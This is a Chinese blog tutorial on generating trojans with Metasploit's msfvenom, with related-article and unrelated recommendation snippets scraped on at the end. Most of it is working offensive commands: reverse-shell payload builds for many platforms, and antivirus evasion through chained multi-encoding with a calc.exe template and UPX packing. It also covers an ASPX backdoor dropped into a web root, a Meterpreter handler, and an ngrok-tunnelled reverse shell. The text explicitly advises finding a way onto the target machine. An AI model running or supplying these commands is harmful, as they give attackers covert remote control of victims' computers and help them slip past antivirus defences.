9.利用msfvenom生成木马
这篇文章来介绍一下msf中一个生成木马的msfvenom模块。
msfvenom命令行选项如下:
英文原版:

中文版:
Options:
-p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#;-&#;或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构,这里x86是32位,x64是64位
-platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: &#;\x00\xff&#;
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
这里举出一些利用msfvenom生成shell的命令:
Linux:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
以上是基本的生成后门木马,只要想方设法放到目标机器上,并运行。在本地监听端口即可,但是你需要有一个公网的ip
下面来探究一下如何免杀:
1.可以尝试多重编码:
msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> -e x86/shikata_ga_nai -i 2 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i -x calc.exe -f exe -o shell.exe
这里使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以calc.exe为模板的可执行文件。
2.对上述生成的木马进行upx加壳
upx shell.exe
不过现在的杀毒软件越来越nb,一般免杀也已经不好过...
于12.23日更新:
推荐一本书<<Web 安全攻防(渗透测试实战指南)>>上面介绍了Aspx Meterpreter 后门:
主要介绍的是Metasploit下名为shell_reverse_tcp的Payload,利用这个模块可以创建具有Meterpreter功能的各版本的Shellcode,例如比较常见的Asp,Aspx,msi,vbs,war等等
下面以Aspx为例:
show payloads
use windows/shell_reverse_tcp
info
set lhost 192.168.0.133
set lport 4444
save
接着输入generate -h 查看帮助:

各版本ShellCode的命令如下:
generate -t asp //生成Asp版的ShellCode
generate -t aspx //生成Aspx版的ShellCode

把生成的木马放在c:/inetpub/wwwroot下,访问。同时在msf中设置监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.133
set lport 4444
run
----------------------------------------------
2019.10.15补充:
parrot使用ngrok+msfvenom穿透反弹shell
攻击机parrot ip:192.168.127.131
目标机器windows ip :192.168.43.27
首先两台机器不在一个网端,自然是无法ping通:
这里模仿目标机器在公网
攻击机器在内网,攻击机器怎样通过ngrok代理来接受弹回来的shell
1.在ngrok官网注册账号,并开通免费账号
官网地址:http://www.ngrok.cc

创建成功后:

2.下载ngrok客户端
https://www.ngrok.cc/download.html
我这里使用的是parrot。所以选择linux版本
文件解压后得到:sunny
3.启动sunny,开启转发
./sunny clientid 隧道id

4.配置木马来反弹shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=free.idcfengye.com LPORT=14001 -f exe -o ./test.exe

其中LHOST,LPORT均为ngrok代理服务器地址与端口
5.攻击机本地msf监听
use exploit/multi/handle
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.127.131
set lport 9876
run
6.目标机器执行木马

可以看到,shell已经反弹成功
参考链接:
https://blog.csdn.net/wyf12138/article/details/79825833
https://www.offensive-security.com/metasploit-unleashed/msfvenom/
9.利用msfvenom生成木马的更多相关文章
- 转: kali msfvenom生成木马
kali msfvenom生成木马 转:https://blog.csdn.net/qq_33391644/article/details/79266724 msfvenom是msfpayload,m ...
- metasploit、msfvenom生成木马入侵电脑及手机
简介 msfvenom msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and ...
- 使用msfvenom生成木马
msfvenom Options: -p, --payload < payload> 指定需要使用的payload(攻击荷载).如果需要使用自定义的payload,请使用& #03 ...
- 利用msfvenom制作木马程序(你可以得到她的一切)
实验环境: 虚拟机:kali (攻击机) 192.168.1.2 虚拟机:windwos 2003 (靶机) 192.168.1.100 1. 制作木马 说明: -p payl ...
- Kali环境使用Metasploit生成木马入侵安卓手机
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计, ...
- 使用Kali中的Metasploit生成木马控制Windows系统 (第九天 9.20)
本文转自:https://www.cnblogs.com/yankaohaitaiwei/p/11556921.html 一.kali及Metasploit kali基于debin的数字取证系统,上面 ...
- 使用Kali中的Metasploit生成木马控制Windows系统
一.概念:Kali基于debin的数字取证系统,上面集成了很多渗透测试工具,其前身是BT5 R3(BtackTrack). 其中Metasploit是一个综合利用工具,极大的提高了攻击者的渗透效率,使 ...
- msf生成木马
Msf生成木马:(多层加密都不能免杀) msfvenom -p windows/shell_reverse_tcp lhost=192.168.33.143 lport=7001 -f raw -e ...
- Metasploit生成木马入侵安卓手机
开始 首先你需要一个Metasploit(废话) Linux: sudo apt install metasploit-framework Termux: 看这里 指令 sudo su //生成木马文 ...
随机推荐
- windows下python常用库的安装
windows下python常用库的安装,前提安装了annaconda 的python开发环境.只要已经安装了anaconda,要安装别的库就很简单了.只要使用pip即可,正常安装好python,都会 ...
- Struts 2简介
Struts 2简介 Struts 2 编辑 同义词 Struts2一般指Struts 2 Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中 ...
- R数据类型
2.2.1 向量向量是用于存储数值型.字符型或逻辑型数据的一维数组.执行组合功能的函数c()可用来创建向量.各类向量如下例所示: a <-c(1, 2, 5, 3, 6, -2, 4) b &l ...
- 分享知识-快乐自己:Shrio 案例Demo概述
Shiro 权限认证核心: POM:文件: <!--shiro-all--> <dependency> <groupId>org.apache.shiro</ ...
- Selenium-元素定位与操作
UI的自动化本质就是识别元素,操作元素,而元素的识别就是通过HTML的标签和属性,所以对于基本的HTML的只是是必备的 随着页面复杂度的提升,加之很多公司的开发也没有统一规范,这就给识别元素造成了非常 ...
- GridView有用的小方法--2017年2月13日
原文:http://blog.csdn.net/21aspnet/article/category/285354更多:http://blog.csdn.net/21aspnet/article/cat ...
- [Luogu3960][NOIP2017]列队
luogu sol 震惊!\(NOIP\)居然也出数据结构! 话说回来,其实只需要对每一行的前\(m-1\)个人维护一个数据结构,然后对最后一列的\(m\)个人也维护一个数据结构就好了.具体的话写平衡 ...
- Java Main Differences between HashMap HashTable and ConcurrentHashMap
转自这篇帖子:http://www.importnew.com/7010.html HashMap和Hashtable的比较是Java面试中的常见问题,用来考验程序员是否能够正确使用集合类以及是否可以 ...
- AtCoder Grand Contest 014 题解
A - Cookie Exchanges 模拟 Problem Statement Takahashi, Aoki and Snuke love cookies. They have A, B and ...
- bzoj 4103: 异或运算 可持久化Trie
题目大意: 给定长度为n的数列X={x1,x2,...,xn}和长度为m的数列Y={y1,y2,...,ym},令矩阵A中第i行第j列的值\(A_{ij} = x_i \text{ xor } y_j ...